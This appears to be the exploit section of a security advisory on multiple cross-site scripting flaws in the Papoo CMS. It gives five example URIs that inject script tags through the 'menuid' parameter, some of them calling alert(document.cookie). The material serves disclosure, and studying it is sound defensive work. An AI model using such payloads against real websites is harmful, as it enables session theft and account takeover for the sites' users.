• info
• discussion
• exploit
• solution
• references

Papoo Multiple Cross-Site Scripting Vulnerabilities

An exploit is not required.

The following example URIs were provided to demonstrate these issues:

http://www.example.com/guestbook.php?menuid=<script>alert('HELLO');</script>
http://www.example.com/index.php?menuid=<script>alert(document.cookie);</script>
http://www.example.com/inhalt.php?menuid=<script>alert(document.cookie);</script>
http://www.example.com/forum.php?menuid=<script>alert('HELLO');</script>
http://www.example.com/kontakt.php?menuid=<script>alert('HELLO');</script>